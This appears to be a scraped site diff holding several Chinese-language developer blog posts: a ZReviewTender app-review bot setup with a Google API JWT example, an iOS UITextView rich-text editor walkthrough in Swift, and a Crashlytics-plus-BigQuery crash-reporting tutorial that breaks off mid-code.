設定排程定時( crontab )持續執行爬取新評價,ZReviewTender 會爬取 latestCheckTimestamp 上次爬取的評價 Timestamp 到這次爬取時間內的新評價,並更新 Timestamp 紀錄檔案。

e.g. crontab: 15 */6 * * * ZReviewTender -r

另外要注意因為 Android API 只提供查詢近 7 天新增或編修的評價,所以排成週期請勿超過 7 天,以免有評價遺漏。

[https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews](https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews){:target="_blank"}

https://developers.google.com/android-publisher/reply-to-reviews#retrieving_a_set_of_reviews

Github Action 部署

[ZReviewTender App Reviews Automatic Bot](https://github.com/marketplace/actions/zreviewtender-app-reviews-automatic-bot){:target="_blank"}

ZReviewTender App Reviews Automatic Bot

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
name: ZReviewTender
+on:
+  workflow_dispatch:
+  schedule:
+    - cron: "15 */6 * * *" #每六小時跑一次,可參照上方 crontab 自行更改設定
+
+jobs:
+  ZReviewTender:
+    runs-on: ubuntu-latest
+    steps:
+    - name: ZReviewTender Automatic Bot
+      uses: ZhgChgLi/ZReviewTender@main
+      with:
+        command: '-r' #執行 Apple & iOS App 評價檢查,可參照上方改成其他執行指令
+

⚠️️️️️ 再次警告!

務必確保你的設定檔及金鑰無法被公開存取,因其中的敏感資訊可能導致 App/Slack 權限被盜用;作者不對被盜用負任何責任。

如果有發生意外的錯誤,請 建立一個 Issue 附上紀錄資訊,將會盡快修正!

Done

使用教學結束,再來是幕後開發祕辛分享。

=========================

與 App Reviews 的戰爭

本以為去年總結的 AppStore APP’s Reviews Slack Bot 那些事 及運用相關技術實現的 ZReviewsBot — Slack App Review 通知機器人 ,與整合 App 最新評價進入公司工作流程這件事就告一段落了;沒想到 Apple 居然在今年 更新了 App Store Connect API ,讓這件事能持續演進。

去年總結出來的 Apple iOS/macOS App 撈取評價的解決方案:

  • Public URL API (RSS) ⚠️: 無法彈性篩選、給的資訊也少、有數量上限、還有我們偶爾會遇到資料錯亂問題,很不穩定;官方未來可能棄用
  • 透過 Fastlane SpaceShip 幫我們封裝複雜的網頁操作、Session 管理,去 App Store Connection 網站後台撈取評價資料 (等於是起一個網頁模擬器爬蟲去後台爬資料)。

依照去年做法就只能使用方法二來達成,但效果不太完美;Session 會過期,需要人工定期更新,且無法放在 CI/CD Server 上,因為 IP 一變 Session 會馬上過期。

[important-note-about-session-duration](https://docs.fastlane.tools/best-practices/continuous-integration/#important-note-about-session-duration){:target="_blank"} by Fastlane

important-note-about-session-duration by Fastlane

今年收到 Apple 更新了 App Store Connect API 消息後立馬著手重新設計新的評價機器人,除了改用官方 API 外;還優化了之前的架構設計及更熟悉 Ruby 用法。

App Store Connect API 開發上遇到的問題

很詭異,只能 workaround 先打這個 endpoint 篩出最新評價,再打 List All App Store Versions for an App & List All Customer Reviews for an App Store Version 組合出 App 版本資訊。

AndroidpublisherV3 開發上遇到的問題

  • API 不提供取得所有評價列表的方法,只能取得近 7 天新增/編修的評價。
  • 同樣使用 JWT 串接 Google API (不依賴相關類別庫 e.g. google-apis-androidpublisher_v3)
  • 附上個 Google API JWT 產生&使用範例:
1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+
require "jwt"
+require "time"
+
+payload = {
+  iss: "GCP API 身份權限金鑰 (*.json) 檔案中的 client_email 欄位",
+  sub: "GCP API 身份權限金鑰 (*.json) 檔案中的 client_email 欄位",
+  scope: ["https://www.googleapis.com/auth/androidpublisher"]].join(' '),
+  aud: "GCP API 身份權限金鑰 (*.json) 檔案中的 token_uri 欄位",
+  iat: Time.now.to_i,
+  exp: Time.now.to_i + 60*20
+}
+
+rsa_private = OpenSSL::PKey::RSA.new("GCP API 身份權限金鑰 (*.json) 檔案中的 private_key 欄位")
+token = JWT.encode payload, rsa_private, 'RS256', header_fields = {kid:"GCP API 身份權限金鑰 (*.json) 檔案中的 private_key_id 欄位", typ:"JWT"}
+
+uri = URI("API 身份權限金鑰 (*.json) 檔案中的 token_uri 欄位")
+https = Net::HTTP.new(uri.host, uri.port)
+https.use_ssl = true
+request = Net::HTTP::Post.new(uri)
+request.body = "grant_type=urn%3Aietf%3Aparams%3Aoauth%3Agrant-type%3Ajwt-bearer&assertion=#{token}"
+
+response = https.request(request).read_body
+
+bearer = result["access_token"]
+
+### use bearer token
+
+uri = URI("https://androidpublisher.googleapis.com/androidpublisher/v3/applications/APP_PACKAGE_NAME/reviews")
+https = Net::HTTP.new(uri.host, uri.port)
+https.use_ssl = true
+        
+request = Net::HTTP::Get.new(uri)
+request['Authorization'] = "Bearer #{bearer}";
+        
+response = https.request(request).read_body
+        
+result = JSON.parse(response)
+
+# success!
+

有任何問題及指教歡迎 與我聯絡

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

App Store Connect API 現已支援 讀取和管理 Customer Reviews

Pinkoi 2022 Open House for GenZ — 15 Mins Career Talk

diff --git a/posts/e37d66ea1146/index.html b/posts/e37d66ea1146/index.html new file mode 100644 index 000000000..9ee7ee421 --- /dev/null +++ b/posts/e37d66ea1146/index.html @@ -0,0 +1,273 @@ + iOS UITextView 文繞圖編輯器 (Swift) | ZhgChgLi
Home iOS UITextView 文繞圖編輯器 (Swift)
Post
Cancel

iOS UITextView 文繞圖編輯器 (Swift)

iOS UITextView 文繞圖編輯器 (Swift)

實戰路線

目標功能:

APP上有一個讓使用者能發表文章的討論區功能,發表文章功能介面需要能輸入文字、插入多張圖片、支援文繞圖穿插.

功能需求:

  • 能輸入多行文字
  • 能在行中穿插圖片
  • 能上傳多張圖片
  • 能隨意移除插入的圖片
  • 圖片上傳效果/失敗處理
  • 能將輸入內容轉譯成可傳遞文本 EX: BBCODE

先上個成品效果圖:

[結婚吧APP](https://itunes.apple.com/tw/app/%E7%B5%90%E5%A9%9A%E5%90%A7-%E4%B8%8D%E6%89%BE%E6%9C%80%E8%B2%B4-%E5%8F%AA%E6%89%BE%E6%9C%80%E5%B0%8D/id1356057329?ls=1&mt=8){:target="_blank"}

結婚吧APP

開始:

第一章

什麼?你說第一章?不就用UITextView就能做到編輯器功能,哪來還需要分到「章節」;是的,我一開始的反應也是如此,直到我開始做才發現事情沒有那麼簡單,其中苦惱了我兩個星期、翻片國內外各種資料最後才找到解法,實作的心路歷程就讓我娓娓道來….

如果想直接知道最終解法,請直接跳到最後一章(往下滾滾滾滾滾).

一開始

文字編輯器理所當然是使用UITextView元件,看了一下文件UITextView attributedText 自帶 NSTextAttachment物件 可以附加圖片實做出文繞圖效果,程式碼也很簡單:

1
+2
+3
+
let imageAttachment = NSTextAttachment()
+imageAttachment.image = UIImage(named: "example")
+self.contentTextView.attributedText = NSAttributedString(attachment: imageAttachment)
+

當初天真的我還很開心想說蠻簡單的啊、好方便;問題現在才正要開始:

  • 圖片要能是從本地選擇&上傳:這好解決,圖片選擇器我使用 TLPhotoPicker 這個套件(支援多圖選擇/客製化設定/切換相機拍照/Live Photos),具體作法就是 TLPhotoPicker選完圖片Callback後將PHAsset轉成UIImage塞進去imageAttachment.image並預先在背景上傳圖片至Server。
  • 圖片上傳要有效果並能添加互動操作(點擊查看原圖/點擊X能刪除):沒做出來,找不到NSTextAttachment有什麼辦法能做到這項需求,不過這功能沒有還行反正還是能刪除(在圖片後按鍵盤上的「Back」鍵能刪除圖片),我們繼續…
  • 原始圖檔案過大,上傳慢、插入慢、吃效能:插入及上傳前先Resize過,用 Kingfisher 的resizeTo
  • 圖片插入在游標停留的位置:這裡就要將原本的Code改成如下
1
+2
+3
+4
+
let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0)
+let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText) //取得當前內容
+combination.insert(NSAttributedString(attachment: imageAttachment), at: range)
+self.contentTextView.attributedText = combination //回寫回去
+
  • 圖片上傳失敗處理:這裡要說一下,我實際另外寫了一個Class 擴充原始的 NSTextAttachment 目的就是要多塞個屬性存識別用的值
1
+2
+3
+
class UploadImageNSTextAttachment:NSTextAttachment {
+   var uuid:String?
+}
+

上傳圖片時改成:

1
+2
+3
+
let id = UUID().uuidString
+let attachment = UploadImageNSTextAttachment()
+attachment.uuid = id
+

有辦法辨識NSTextAttachment的對應之後,我們就能針對上傳失敗的圖片,去attributedTextd裡做NSTextAttachment搜索,找到他並取代成錯誤提示圖或直接移除

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
if let content = self.contentTextView.attributedText {
+    content.enumerateAttributes(in: NSMakeRange(0, content.length),  options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in
+        if object.keys.contains(NSAttributedStringKey.attachment) {
+            if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == "目標ID" {
+                attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30)
+                attachment.image =  UIImage(named: "IconError")
+                let combination = NSMutableAttributedString(attributedString: content)
+                combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment))
+                //如要直接移除可用deleteCharacters(in: range)
+                self.contentTextView.attributedText = combination
+            }
+        }
+    }
+}
+

克服上述問題後,程式碼大約會長成這樣:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
+
class UploadImageNSTextAttachment:NSTextAttachment {
+    var uuid:String?
+}
+func dismissPhotoPicker(withTLPHAssets: [TLPHAsset]) {
+    //TLPhotoPicker 圖片選擇器的Callback
+    
+    let range = self.contentTextView.selectedRange.location ?? NSRange(location: 0, length: 0)
+    //取得游標停留位置,無則從頭
+    
+    guard withTLPHAssets.count > 0 else {
+        return
+    }
+    
+    DispatchQueue.global().async { in
+        //在背景處理
+        let orderWithTLPHAssets = withTLPHAssets.sorted(by: { $0.selectedOrder > $1.selectedOrder })
+        orderWithTLPHAssets.forEach { (obj) in
+            if var image = obj.fullResolutionImage {
+                
+                let id = UUID().uuidString
+                
+                var maxWidth:CGFloat = 1500
+                var size = image.size
+                if size.width > maxWidth {
+                    size.width = maxWidth
+                    size.height = (maxWidth/image.size.width) * size.height
+                }
+                image = image.resizeTo(scaledToSize: size)
+                //縮圖
+                
+                let attachment = UploadImageNSTextAttachment()
+                attachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height)
+                attachment.uuid = id
+                
+                DispatchQueue.main.async {
+                    //切回主執行緒更新UI插入圖片
+                    let combination = NSMutableAttributedString(attributedString: self.contentTextView.attributedText)
+                    attachments.forEach({ (attachment) in
+                        combination.insert(NSAttributedString(string: "\n"), at: range)
+                        combination.insert(NSAttributedString(attachment: attachment), at: range)
+                        combination.insert(NSAttributedString(string: "\n"), at: range)
+                    })
+                    self.contentTextView.attributedText = combination
+                    
+                }
+                
+                //上傳圖片至Server
+                //Alamofire post or....
+                //POST image
+                //if failed {
+                    if let content = self.contentTextView.attributedText {
+                        content.enumerateAttributes(in: NSMakeRange(0, content.length),  options: NSAttributedString.EnumerationOptions(rawValue: 0)) { (object, range, stop) in
+                            
+                            if object.keys.contains(NSAttributedStringKey.attachment) {
+                                if let attachment = object[NSAttributedStringKey.attachment] as? UploadImageNSTextAttachment,attachment.uuid == obj.key {
+                                    
+                                    //REPLACE:
+                                    attachment.bounds = CGRect(x: 0, y: 0, width: 30, height: 30)
+                                    attachment.image = //ERROR Image
+                                    let combination = NSMutableAttributedString(attributedString: content)
+                                    combination.replaceCharacters(in: range, with: NSAttributedString(attachment: attachment))
+                                    //OR DELETE:
+                                    //combination.deleteCharacters(in: range)
+                                    
+                                    self.contentTextView.attributedText = combination
+                                }
+                            }
+                        }
+                    }
+                //}
+                //
+                
+            }
+        }
+    }
+}
+

到此差不多問題都解決了,那是什麼苦惱了我兩週呢?

答:「記憶體」問題

iPhone 6頂不住啊!

iPhone 6頂不住啊!

以上做法插入超過5張圖片,UITextView就會開始卡頓;到一個程度就會因為記憶體負荷不了APP直接閃退

p.s 試過各種壓縮/其他儲存方式,結果依然

推測原因是,UITextView沒有針對圖片的NSTextAttachment做Reuse,你所插入的所有圖片都Load在記憶體之中不會釋放;所以除非是拿來穿插表情符號那種小圖😅,不然根本不能拿來做文繞圖

第二章

發現記憶體這個「硬傷」後,繼續在網路上搜索解決方案,得到以下其他做法:

  • 用WebView嵌套HTML檔案( <div contentEditable=”true”></div>)並用JS跟WebView做交互處理
  • 用UITableView结合UITextView,能Reuse
  • 基於TextKit自行擴充UITextView🏆

第一項用WebView嵌套HTML檔案的做法;考量到效能跟使用者體驗,所以不考慮,有興趣的朋友可以在Github搜尋相關的解決方案(EX: RichTextDemo )

第二項用UITableView结合UITextView

我實作了大約7成出來,具體大約是每一行都是一個Cell,Cell有兩種,一種是UITextView另一種是UIImageView,圖片一行文字一行;內容必須用陣列去儲存,避免Reuse過程消失

能優秀的Reuse解決記憶體問題,但做到後面還是放棄了,在 控制行尾按Return要能新建一行並跳到該行控制行頭按Back鍵要能跳到上一行(若當前為空行要能刪除該行) 這兩個部分上吃足苦頭,非常難控制

有興趣的朋友可參考: MMRichTextEdit

最終章

走到這裡已經耗費了許多時間,開發時程嚴重拖延;目前最終解法就是用TextKit

這裡附上兩篇找到的文章給有興趣研究的朋友:

但有一定的學習門檻,對我這個菜鳥來說太難了,再說時間也已不夠,只能漫無目的在Github尋找他山之石借借用用

最終找到 XLYTextKitExtension 這個項目,可以直接引入Code使用

✔ 讓 NSTextAttachment 支援自訂義UIView 要加什麼交互操作都可以

✔ NSTextAttachment 可以Reuse 不會撐爆記憶體

具體實作方式跟 第一章 差不多,就只差在原本是用NSTextAttachment而現在改用XLYTextAttachment

針對要使用的UITextView:

1
+
contentTextView.setUseXLYLayoutManager()
+

Tip 1:插入NSTextAttachment的地方改為

1
+2
+3
+4
+5
+6
+7
+8
+9
+
let combine = NSMutableAttributedString(attributedString: NSAttributedString(string: ""))
+let imageView = UIView() // your custom view
+let imageAttachment = XLYTextAttachment { () -> UIView in
+    return imageView
+}
+imageAttachment.id = id
+imageAttachment.bounds = CGRect(x: 0, y: 0, width: size.width, height: size.height)
+combine.append(NSAttributedString(attachment: imageAttachment))
+self.contentTextView.textStorage.insert(combine, at: range)
+

Tip 2:NSTextAttachment搜索改為

1
+2
+3
+4
+5
+
self.contentTextView.textStorage.enumerateAttribute(NSAttributedStringKey.attachment, in: NSRange(location: 0, length: self.contentTextView.textStorage.length), options: []) { (value, range, stop) in
+    if let attachment = value as? XLYTextAttachment {
+        //attachment.id
+    }
+}
+

Tip 3:刪除NSTextAttachment項目改為

1
+
self.contentTextView.textStorage.deleteCharacters(in: range)
+

Tip 4:取得當前內容長度

1
+
self.contentTextView.textStorage.length
+

Tip 5:刷新Attachment的Bounds大小

主因是為了使用者體驗;插入圖片時我會先塞一張loading圖,插入的圖片在背景壓縮後才會替換上去,要去更新TextAttachment的Bounds成Resize後大小

1
+
self.contentTextView.textStorage.addAttributes([:], range: range)
+

(新增空屬性,觸發刷新)

Tip 6: 將輸入內容轉譯成可傳遞文本

運用Tip 2搜索全部輸入內容並將找到的Attachment取出ID組合成類似[ [ID] ]格式傳遞

Tip 7: 內容取代

1
+
self.contentTextView.textStorage.replaceCharacters(in: range,with: NSAttributedString(attachment: newImageAttachment))
+

Tip 8: 正規表示法匹配內容所在Range

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+
let pattern = "(\\[\\[image_id=){1}([0-9]+){1}(\\]\\]){1}"
+let textStorage = self.contentTextView.textStorage
+
+if let regex = try? NSRegularExpression(pattern: pattern, options: .caseInsensitive) {
+    while true {
+        let range = NSRange(location: 0, length: textStorage.length)
+        if let match = regex.matches(in: textStorage.string, options: .withTransparentBounds, range: range).first {
+            let matchString = textStorage.attributedSubstring(from: match.range)
+            //FINDED!
+        } else {
+            break
+        }
+    }
+}
+

注意:如果你要搜尋&取代項目,需要使用While迴圈,不然當有多個搜尋結果時,找到第一個並取代後,後面的搜尋結果的Range就會錯誤導致閃退.

結語

目前使用此方法完成成品並上線了,還沒遇到有什麼問題;有時間我再來好好探究一下其中的原理吧!

這篇比較不是教學文章,而是個人解題心得分享;如果您也在實作類似功能,希望有幫助到你,有任何問題及指教歡迎與我聯絡.

Medium的正式第一篇

===

本文首次發表於 Medium ➡️ 前往查看


This post is licensed under CC BY 4.0 by the author.

Medium的第一篇

iOS ≥ 10 Notification Service Extension 應用 (Swift)

diff --git a/posts/e77b80cc6f89/index.html b/posts/e77b80cc6f89/index.html new file mode 100644 index 000000000..9eb3713bf --- /dev/null +++ b/posts/e77b80cc6f89/index.html @@ -0,0 +1,517 @@ + Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具 | ZhgChgLi
Home Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具
Post
Cancel

Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具

Crashlytics + Big Query 打造更即時便利的 Crash 追蹤工具

串接 Crashlytics 和 Big Query 自動轉發閃退記錄到 Slack Channel

成果

Pinkoi iOS Team 實拍圖

Pinkoi iOS Team 實拍圖

先上成果圖,每週定時查詢 Crashlytics 閃退紀錄;篩選出閃退次數前 10 多的問題;將訊息發送到 Slack Channel,方便所有 iOS 隊友快速了解目前穩定性。

問題

於 App 開發者來說 Crash-Free Rate 可以說是最重要的衡量指標;數據代表的意思是 App 的使用者 沒遇到 閃退的比例,我想不管是什麼 App 都應該希望自己的 Crash-Free Rate ~= 99.9%;但現實是不可能的,只要是程式就可能會有 Bug 更何況有的閃退問題是底層(Apple)或第三方 SDK 造成的,另外隨著 DAU 體量不同,也會對 Crash-Free Rate 有一定影響,DAU 越高越容易踩到很多偶發的閃退問題。

既然 100% 不會閃退的 App 並不存在,那如何追蹤、處理閃退就是一件很重要的事;除了最常見的 Google Firebase Crashlytics (前生 Fabric) 外其實還有其他選擇 BugsnagBugfender …各工具我沒有實際比較過,有興趣的朋友可以自行研究;如果是用其他工具就用不到本篇文章要介紹的內容了。

Crashlytics

選擇使用 Crashlytics 有以下好處:

  • 穩定,由 Google 撐腰
  • 免費、安裝便利快速
  • 除閃退外,也可 Log Error Event (EX: Decode Error)
  • 一套 Firebase 即可打天下:其他服務還有 Google Analytics、Realtime Database、Remote Config、Authentication、Cloud Messaging、Cloud Storage…

題外話:不建議正式的服務完全使用 Firebase 搭建,因為後期流量起來後的收費會很貴…就是個養套殺的概念。

Crashlytics 缺點也很多:

  • Crashlytics 不提供 API 查詢閃退資料
  • Crashlytics 僅會儲存近 90 天閃退紀錄
  • Crashlytics 的 Integrations 支援跟彈性極差

最痛的就是 Integrations 支援跟彈性極差再加上又沒有 API 可以自己寫腳本串閃退資料;只能三不五時靠人工手動上 Crashlytics 查看閃退紀錄,追蹤閃退問題。

Crashlytics 只支援的 Integrations:

  1. [Email 通知] — Trending stability issues (越來越多人遇到的閃退問題)
  2. [Slack, Email 通知] — New Fatal Issue (閃退問題)
  3. [Slack, Email 通知] — New Non-Fatal Issue (非閃退問題)
  4. [Slack, Email 通知] — Velocity Alert (數量突然一直上升的閃退問題)
  5. [Slack, Email 通知] — Regression Alert (已 Solved 但又出現的問題)
  6. Crashlytics to Jira issue

以上 Integrations 的內容、規則都無法客製化。

最一開始我們直接使用 2.New Fatal Issue to Slack or Email,to Email 的話再由 Google Apps Script 觸發後續處理腳本 ;但是這個通知會瘋狂轟炸通知頻道,因為不管是大是小或只是使用者裝置、iOS 本身很零星的問題造成的閃退都會通知;隨著 DAU 增長每天都被這通知狂轟濫炸,而其中真的有價值,很多人踩到而且是跟我們程式錯誤有關的通知大概只佔其中的 10%。

以至於根本沒有解決 Crashlytics 難以自動追蹤的問題,一樣要花很多時間在審閱這個問題究竟重不重要之上。

Crashlytics + Big Query

轉來轉去只找到這個方法,官方也只提供這個方法;這就是免費糖衣下的陷阱,我猜不管是 Crashlytics 或 Analytics Event 都不會也沒有計劃推出 API 讓使用者可以串 API 查資料;因為官方的唯一建議就是把資料匯入到 Big Query 使用,而 Big Query 超過免費儲存與查詢額度是要收費的。

儲存:每個月前 10 GB 為免費。

查詢:每個月前 1 TB 為免費。 (查詢額度的意思是下 Select 時處理了多少容量的資料)

詳細可參考 Big Query 定價說明

Crashlytics to Big Query 的設定細節可參考 官方文件 ,需啟用 GCP 服務、綁定信用卡…等等。

開始使用 Big Query 查詢 Crashlytics Log

設好 Crashlytics Log to Big Query 匯入週期&完成第一次匯入有資料後,我們就能開始查詢資料囉。

首先到 Firebase 專案 -> Crashlytics -> 列表右上方的「•••」-> 點擊前往「BigQuery dataset」。

前往 GCP -> Big Query 後可在左方「Exploer」中選擇「firebase_crashlytics」->選擇你的 Table 名稱 ->「Detail」 -> 右邊可查看 Table 資訊,包含最新修改時間、已使用容量、儲存期限…等等。

確認已有匯入的資料可查詢。

上方 Tab 可切換到「SCHEMA」查看 Table 的欄位資訊或參考 官方文件

點擊右上方的「Query」可開啟帶有輔助 SQL Builder 的介面(如對 SQL 不熟建議使用這個):

或直接點「COMPOSE NEW QUERY」開一個空白的 Query Editor:

不管是哪種方法,都是同個文字編輯器;在輸入完 SQL 之後可以預先在右上方自動完成 SQL 語法檢查和預計會花費的查詢額度( This query will process XXX when run. ):

確認要查詢後點左上方「RUN」執行查詢,結果會在下方 Query results 區塊顯示。

⚠️ 按下「RUN」執行查詢後就會累積到查詢額度,然後進行收費;所以請注意不要亂下 Query。

如對 SQL 較陌生可以先了解基本用法,然後參考 Crashlytics 官方的範例下去魔改

1.統計近 30 日每天的閃退次數:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+
SELECT
+  COUNT(DISTINCT event_id) AS number_of_crashes,
+  FORMAT_TIMESTAMP("%F", event_timestamp) AS date_of_crashes
+FROM
+ `你的ProjectID.firebase_crashlytics.你的TableName`
+GROUP BY
+  date_of_crashes
+ORDER BY
+  date_of_crashes DESC
+LIMIT 30;
+

2.查詢近 7 天最常出現的 TOP 10 閃退:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+
SELECT
+  DISTINCT issue_id,
+  COUNT(DISTINCT event_id) AS number_of_crashes,
+  COUNT(DISTINCT installation_uuid) AS number_of_impacted_user,
+  blame_frame.file,
+  blame_frame.line
+FROM
+  `你的ProjectID.firebase_crashlytics.你的TableName`
+WHERE
+  event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(),INTERVAL 168 HOUR)
+  AND event_timestamp < CURRENT_TIMESTAMP()
+GROUP BY
+  issue_id,
+  blame_frame.file,
+  blame_frame.line
+ORDER BY
+  number_of_crashes DESC
+LIMIT 10;
+

但官方範例這個下法查出來的資料跟 Crashlytics 看到的排序不一樣,應該是它用 blame_frame.file (nullable), blame_frame.line (nullable) 去 Group 的原因導致。

3.查詢近 7 天最常閃退的 10 種裝置:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+
SELECT
+  device.model,
+COUNT(DISTINCT event_id) AS number_of_crashes
+FROM
+  `你的ProjectID.firebase_crashlytics.你的TableName`
+WHERE
+  event_timestamp >= TIMESTAMP_SUB(CURRENT_TIMESTAMP(), INTERVAL 168 HOUR)
+  AND event_timestamp < CURRENT_TIMESTAMP()
+GROUP BY
+  device.model
+ORDER BY
+  number_of_crashes DESC
+LIMIT 10;
+

更多範例請參考 官方文件

如果你下的 SQL 無任何資料,請先確定指定條件的 Crashlytics 資料已匯入 Big Query(例如預設的 SQL 範例會查當天 Crash 紀錄,但其實資料還沒同步匯入進來,所以會查不到);如果確定有資料,再來檢查篩選條件是否正確。

Top 10 Crashlytics Issue Big Query SQL

這邊參考第 2. 的官方範例修改,我們希望的結果是跟我們看 Crashlytics 第一頁時一樣的閃退問題及排序資料。

近 7 日閃退問題的 Top 10:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+
SELECT 
+  DISTINCT issue_id, 
+  issue_title, 
+  issue_subtitle, 
+  COUNT(DISTINCT event_id) AS number_of_crashes, 
+  COUNT(DISTINCT installation_uuid) AS number_of_impacted_user 
+FROM 
+  `你的ProjectID.firebase_crashlytics.你的TableName`
+WHERE 
+  is_fatal = true 
+  AND event_timestamp >= TIMESTAMP_SUB(
+    CURRENT_TIMESTAMP(), 
+    INTERVAL 7 DAY
+  ) 
+GROUP BY 
+  issue_id, 
+  issue_title, 
+  issue_subtitle 
+ORDER BY 
+  number_of_crashes DESC 
+LIMIT 
+  10;
+

比對 Crashlytics 的 Top 10 閃退問題結果,符合✅。

使用 Google Apps Script 定期查詢&轉發到 Slack

前往 Google Apps Script 首頁 -> 登入與 Big Query 同個帳戶 -> 點左上角「新專案」,開啟新專案後可點左上方重新命名專案。

首先我們先完成串接 Big Query 取得查詢資料:

參考 官方文件 範例,將上面的 Query SQL 帶入。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+
function queryiOSTop10Crashes() {
+  var request = {
+    query: 'SELECT DISTINCT issue_id, issue_title, issue_subtitle, COUNT(DISTINCT event_id) AS number_of_crashes, COUNT(DISTINCT installation_uuid) AS number_of_impacted_user FROM `firebase_crashlytics.你的TableName` WHERE is_fatal = true AND event_timestamp >= TIMESTAMP_SUB( CURRENT_TIMESTAMP(), INTERVAL 7 DAY ) GROUP BY issue_id, issue_title, issue_subtitle ORDER BY number_of_crashes DESC LIMIT 10;',
+    useLegacySql: false
+  };
+  var queryResults = BigQuery.Jobs.query(request, '你的ProjectID');
+  var jobId = queryResults.jobReference.jobId;
+
+  // Check on status of the Query Job.
+  var sleepTimeMs = 500;
+  while (!queryResults.jobComplete) {
+    Utilities.sleep(sleepTimeMs);
+    sleepTimeMs *= 2;
+    queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId);
+  }
+
+  // Get all the rows of results.
+  var rows = queryResults.rows;
+  while (queryResults.pageToken) {
+    queryResults = BigQuery.Jobs.getQueryResults(projectId, jobId, {
+      pageToken: queryResults.pageToken
+    });
+    Logger.log(queryResults.rows);
+    rows = rows.concat(queryResults.rows);
+  }
+
+  var data = new Array(rows.length);
+  for (var i = 0; i < rows.length; i++) {
+    var cols = rows[i].f;
+    data[i] = new Array(cols.length);
+    for (var j = 0; j < cols.length; j++) {
+      data[i][j] = cols[j].v;
+    }
+  }
+
+  return data
+}
+

query: 餐數可任意更換成寫好的 Query SQL。

回傳的物件結構如下:

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+
[
+  [
+    "67583e77da3b9b9d3bd8feffeb13c8d0",
+    "<compiler-generated> line 2147483647",
+    "specialized @nonobjc NSAttributedString.init(data:options:documentAttributes:)",
+    "417",
+    "355"
+  ],
+  [
+    "a590d76bc71fd2f88132845af5455c12",
+    "libnetwork.dylib",
+    "nw_endpoint_flow_copy_path",
+    "259",
+    "207"
+  ],
+  [
+    "d7c3b750c3e5587c91119c72f9f6514d",
+    "libnetwork.dylib",
+    "nw_endpoint_flow_copy_path",
+    "138",
+    "118"
+  ],
+  [
+    "5bab14b8f8b88c296354cd2e",
+    "CoreFoundation",
+    "-[NSCache init]",
+    "131",
+    "117"
+  ],
+  [
+    "c6ce52f4771294f9abaefe5c596b3433",
+    "XXX.m line 975",
+    "-[XXXX scrollToMessageBottom]",
+    "85",
+    "57"
+  ],
+  [
+    "712765cb58d97d253ec9cc3f4b579fe1",
+    "<compiler-generated> line 2147483647",
+    "XXXXX.heightForRow(at:tableViewWidth:)",
+    "67",
+    "66"
+  ],
+  [
+    "3ccd93daaefe80f024cc8a7d0dc20f76",
+    "<compiler-generated> line 2147483647",
+    "XXXX.tableView(_:cellForRowAt:)",
+    "59",
+    "59"
+  ],
+  [
+    "f31a6d464301980a41367b8d14f880a3",
+    "XXXX.m line 46",
+    "-[XXXX XXX:XXXX:]",
+    "50",
+    "41"
+  ],
+  [
+    "c149e1dfccecff848d551b501caf41cc",
+    "XXXX.m line 554",
+    "-[XXXX tableView:didSelectRowAtIndexPath:]",
+    "48",
+    "47"
+  ],
+  [
+    "609e79f399b1e6727222a8dc75474788",
+    "Pinkoi",
+    "specialized JSONDecoder.decode<A>(_:from:)",
+    "47",
+    "38"
+  ]
+]
+

可以看到是一個二維陣列。

加上轉發 Slack 的 Function:

在上述程式碼下方繼續加入新 Function。

1
+2
+3
+4
+5
+6
+7
+8
+9
+10
+11
+12
+13
+14
+15
+16
+17
+18
+19
+20
+21
+22
+23
+24
+25
+26
+27
+28
+29
+30
+31
+32
+33
+34
+35
+36
+37
+38
+39
+40
+41
+42
+43
+44
+45
+46
+47
+48
+49
+50
+51
+52
+53
+54
+55
+56
+57
+58
+59
+60
+61
+62
+63
+64
+65
+66
+67
+68
+69
+70
+71
+72
+73
+74
+75
+76
